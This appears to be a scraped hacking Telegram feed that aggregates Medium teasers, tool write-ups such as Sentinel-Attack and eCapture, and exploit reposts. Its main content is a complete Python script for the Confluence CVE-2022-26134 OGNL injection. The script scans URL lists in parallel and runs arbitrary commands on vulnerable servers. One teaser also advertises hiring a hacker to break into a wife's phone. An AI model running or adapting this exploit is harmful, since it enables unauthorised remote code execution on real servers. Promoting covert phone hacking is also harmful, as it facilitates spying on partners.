Olá meus amigos, como vocês estão? espero que estejam bem.Continue reading on Medium » (https://medium.com/@Diegoeducacao404.../xss-armazenado-eu-tenho-um-apelido-que-voc%C3%AA-n%C3%A3o-vai-gostar-63676cd13a74?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TryHackMe: NMap — Walkthrough

https://cdn-images-1.medium.com/max/613/0*lvIgb9a03GOr677E.png
Hi! I am making these walkthroughs to keep myself motivated to learn cyber security, and ensure that I remember the knowledge gained by…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The Dutch intelligence service is employing contentious Israeli hacking software.

https://cdn-images-1.medium.com/max/837/1*6OdnTqCrBrod4TllBSPGFg.jpeg
Dutch knowledge administration AIVD utilizes questionable hacking programming from the Israeli organization NSO Group, the Volkskrant…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
. Eu tenho um apelido que você não vai gostar.

https://cdn-images-1.medium.com/max/1594/1*jPAzCvswIZi_BCtTu_LsCw.png
Olá meus amigos, como vocês estão? espero que estejam bem.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
5 Ways to Avoid Becoming a Victim of Online Identity Theft

It seems nearly everyone is online these days, and for many of us the internet is an endlessly fascinating place where the hours disappear…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How can I get a hacker to hack my wife’s cellphone? I think she’s cheating on me.

https://cdn-images-1.medium.com/max/626/0*PXtiDFkNHgg4MGXo
Thehackerspro is a professional in hacking cellphones, they have lots of experience in this area. the American forensic firm can help you…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Sentinel-Attack - Tools To Rapidly Deploy A Threat Hunting Capability On Azure Sentinel That Leverages Sysmon And MITRE ATT&CK

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjErDq3k0g5VYU6wIt_cot2_j9eEsaWyCFgBVhgnpg7b-6tv5CI8Au3BU-VhJer-v3xPewlJdy0aJdwRmI2M0ugp_UP0iZAA9cptkK-3IVz6I6weJGbkQBlnYHKUsQ8YTDM5_AakBiBkZLkEQCwxlMZJaQsFRCQhr3NC0bqgcnmC2ZKEXT_aGZlG9rE/s16000/sentinel-attack_1_logo.png Sentinel ATT&CK aims to simplify the rapid deployment of a threat hunting capability that leverages Sysmon and MITRE ATT&CK on Azure Sentinel.

DISCLAIMER: This tool requires tuning and investigative trialling to be truly effective in a production environment. https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcNKdHs6efdMp1_GkOPBeDjS_cBKsguCHqtRl5YqGN2qaHgJ9kablCagk9TN6pqDB4zQrMo_65oucXswwH9AU2Ns1Kl66RBa8qDAQOFA93k2e-Xmk33lpT2qdGzhaLWlOm7yggwsdtmtCi60wnUoSncTJSSFxFoLEmPScJJICXIkwpXMFPZj8ARYJ8/w640-h286/sentinel-attack_8_demo.gif OverviewSentinel ATT&CK provides the following tools:

* An ARM template to automatically deploy Sentinel ATT&CK to your Azure environment
* A Sysmon configuration file compatible with Azure Sentinel and mapped to specific ATT&CK techniques
* A Sysmon log parser mapped against the OSSEM data model
* 117 ready-to-use Kusto detection rules covering 156 ATT&CK techniques
* A Sysmon threat hunting workbook inspired by the Threat Hunting App for Splunk to help simplify threat hunts
* A Terraform script to provision a lab to test Sentinel ATT&CK
* Comprehensive guidance to help you use the materials in this repository UsageHead over to the WIKI to learn how to deploy and run Sentinel ATT&CK.

A copy of the DEF CON 27 cloud village presentation introducing Sentinel ATT&CK can be found here and here. ContributingAs this repository is constantly being updated and worked on, if you spot any problems we warmly welcome pull requests or submissions on the issue tracker. Authors and contributorsSentinel ATT&CK is built with <3

* Edoardo Gerosa

Special thanks go to the following contributors:

* Olaf Hartong
* Ashwin Patil
* Mor Shabi
* Adrian Corona Download Sentinel-Attack

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Ecapture : Capture SSL/TLS Text Content Without CA Cert By eBPF

eCapture is a tool to capture SSL/TLS text content without CA cert Using eBPF.How eCapture workshttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyqHl3BxOoNkTlX0Bdgt5F7ceNM_kEZ5vU52rwVaXetgdvZq9FU4R467ZhGsy2OkTOArTVeRWnl1nwhjKk6otyC5Eg8XCnCpMKW0yV5OBsMlzcXfpIfBlMpT6LB78bZSCcOH45h_JO-AsZDha7a7glA8iYbDMNFgHM0Lo_k6vddKmdTss6CMTjnHgo/s1333/16.png
* SSL/TLS text context capture, support openssl\libressl\boringssl\gnutls\nspr(nss) libraries.
* bash audit, capture bash command for Host Security Audit.
* mysql query SQL audit, support mysqld 5.6\5.7\8.0, and mariadDB. eCapture Architecurehttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdiqmWAKH3urE_DuRs_TcPpjh3IyA3uGxurega8lMJ_LHoOy5KZAdy72_KN2AsBECT-gbTkEqALzd0QQRE8VDEkxC3RhN1t5vZJ7dJVjGGrK9JMJmVskV0G2xpEO0C-ZicdVhwObkgt7sQbdwg-7s3D7okFnjk7caoZszp44h9eJrXujD_fpr8G9ek/s1200/ecapture-architecture.png Getting starteduse ELF binary fileDownload ELF zip file release , unzip and use by command ./ecapture --help.

* Linux kernel version >= 4.18
* Enable BTF BPF Type Format (BTF) (Optional, 2022-04-17) check your server BTF configcfc4n@vm-server:~$# uname -r
4.18.0-305.3.1.el8.x86_64
cfc4n@vm-server:~$# cat /boot/config-uname -r | grep CONFIG_DEBUG_INFO_BTF
CONFIG_DEBUG_INFO_BTF=y tls commandcapture tls text context. Step 1:

./ecapture tls –hex

Step 2:

curl https://github.com libressl&boringsslfor installed libressl, libssl.so.52 is the dynamic ssl lib
vm@vm-server:~$ ldd /usr/local/bin/openssl
linux-vdso.so.1 (0x00007ffc82985000)
libssl.so.52 => /usr/local/lib/libssl.so.52 (0x00007f1730f9f000)
libcrypto.so.49 => /usr/local/lib/libcrypto.so.49 (0x00007f1730d8a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1730b62000)
/lib64/ld-linux-x86-64.so.2 (0x00007f17310b2000)
use the libssl to config the libssl.so path
vm@vm-server:~$ sudo ./ecapture tls –libssl=”/usr/local/lib/libssl.so.52″ –hex
in another terminal, use the command, then type some string, watch the output of ecapture
vm@vm-server:~$ /usr/local/bin/openssl s_client -connect github.com:443
for installed boringssl, usage is the same
/path/to/bin/bssl s_client -connect github.com:443 bash commandcapture bash command.

ps -ef | grep foo uprobe HOOKopenssl\libressl\boringssl hookeCapture hookSSL_write \ SSL_readfunction of shared library /lib/x86_64-linux-gnu/libssl.so.1.1. get text context, and send message to user space by eBPF maps.

Probes: []manager.Probe{ { Section: “uprobe/SSL_write”, EbpfFuncName: “probe_entry_SSL_write”, AttachToFuncName: “SSL_write”, //UprobeOffset: 0x386B0, BinaryPath: “/lib/x86_64-linux-gnu/libssl.so.1.1”, }, { Section: “uretprobe/SSL_write”, EbpfFuncName: “probe_ret_SSL_write”, AttachToFuncName: “SSL_write”, //UprobeOffset: 0x386B0, BinaryPath: “/lib/x86_64-linux-gnu/libssl.so.1.1”, }, { Section: “uprobe/SSL_read”, EbpfFuncName: “probe_entry_SSL_read”, AttachToFuncName: “SSL_read”, //UprobeOffset: 0x38380, BinaryPath: “/lib/x86_64-linux-gnu/libssl.so.1.1”, }, { Section: “uretprobe/SSL_read”, EbpfFuncName: “probe_ret_SSL_read”, AttachToFuncName: “SSL_read”, //UprobeOffset: 0x38380, BinaryPath: “/lib/x86_64-linux-gnu/libssl.so.1.1”, }, /*/
}, bash readline.so hookhook /bin/bashsymbol name readline. How to compileLinux Kernel: >= 4.18. Tools* golang 1.16
* clang 9.0.0
* cmake 3.18.4
* clang backend: llvm 9.0.0
* kernel config:CONFIG_DEBUG_INFO_BTF=y (Optional, 2022-04-17) commandgit clone git@github.com:ehids/ecapture.git
cd ecapture
make
bin/ecapture –help compile without BTFeCapture support NO BTF with command make nocoreto compile on 2022/04/17.

make nocore
bin/ecapture –help Download
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Aurora Inflation Spend Bugfix Review: $6m Payout

SummaryContinue reading on Immunefi »
Read more...

Exploit Collector
Confluence OGNL Injection Remote Code Execution

https://1.bp.blogspot.com/-ZbrkU7MDvJM/WWlvS7x--YI/AAAAAAAAINk/cO6KWZj5UFE3dAHctfHPCIXMYdjzVDfigCLcBGAs/s1600/h40.png Confluence suffers from a pre-authentication remote code execution vulnerability that is leveraged via OGNL injection. All 7.4.17 versions before 7.18.1 are affected.

SHA-256 | 26aa29ff2f763421c60482664f517397136737aa76c3603580bd9bdd40a7e339Download #!/usr/bin/python3

# Exploit Title: Confluence Pre-Auth Remote Code Execution via OGNL Injection
# Google Dork: N/A
# Date: 06/006/2022
# Exploit Author: h3v0x
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: All < 7.4.17 versions before 7.18.1
# Tested on: -
# CVE : CVE-2022-26134
# https://github.com/h3v0x/CVE-2022-26134

import sys
import requests
import optparse
import multiprocessing

from requests.packages import urllib3
from requests.exceptions import MissingSchema, InvalidURL
urllib3.disable_warnings()

requestEngine = multiprocessing.Manager()
session = requests.Session()

global paramResults
paramResults = requestEngine.list()
globals().update(locals())

def spiderXpl(url):
globals().update(locals())
if not url.startswith('http'):
url='http://'+url

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"}

try:
response = requests.get(url + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22'+optionsOpt.command+'%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False)
if(response.status_code == 302):
print('Found: '+url+' // '+ response.headers['X-Cmd-Response'])

inputBuffer = str(response.headers['X-Cmd-Response'])
paramResults.append('Vulnerable application found:'+url+'\n''Command result:'+inputBuffer+'\n')
else:
pass

except requests.exceptions.ConnectionError:
print('[x] Failed to Connect: '+url)
pass
except multiprocessing.log_to_stderr:
pass
except KeyboardInterrupt:
print('[!] Stoping exploit...')
exit(0)
except (MissingSchema, InvalidURL):
pass
def banner():
print('[-] CVE-2022-26134')
print('[-] Confluence Pre-Auth Remote Code Execution via OGNL Injection \n')
def main():
banner()

globals().update(locals())

sys.setrecursionlimit(100000)

if not optionsOpt.filehosts:
url = optionsOpt.url
spiderXpl(url)
else:
f = open(optionsOpt.filehosts)
urls = map(str.strip, f.readlines())

multiReq = multiprocessing.Pool(optionsOpt.threads_set)
try:
multiReq.map(spiderXpl, urls)
multiReq.close()
multiReq.join()
except UnboundLocalError:
pass
except KeyboardInterrupt:
exit(0)
if optionsOpt.output:
print("\n[!] Saving the output result in: %s" % optionsOpt.output)

with open(optionsOpt.output, "w") as f:
for result in paramResults:
f.write("%s\n" % result)
f.close()

if __name__ == "__main__":
parser = optparse.OptionParser()

parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')
parser.add_option('-f', '--file', dest="filehosts", help='example.txt')
parser.add_option('-t', '--threads', dest="threads_set", type=int,default=10)
parser.add_option('-m', '--maxtimeout', dest="timeout", type=int,default=8)
parser.add_option('-o', '--output', dest="output", type=str, default='exploit_result.txt')
parser.add_option('-c', '--cmd', dest="command", type=str, default='id')
optionsOpt, args = parser.parse_args()

main() Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Confluence OGNL Injection Proof Of Concept

https://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png
Proof of concept script that exploits the remote code execution vulnerability affecting Atlassian Confluence versions 7.18 and below. The OGNL injection vulnerability allows an unauthenticated user to execute arbitrary code on a Confluence Server or Data Center instance. All supported versions of Confluence Server and Data Center are affected. Confluence Server and Data Center versions after 1.3.0 and below 7.18.1 are affected. The vulnerability has a CVSS score of 10 out of 10 for criticality.

SHA-256 | af35a5a0af240395f62e977601885f29387ee4fc958081d1910e6f6f0d3d428a

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video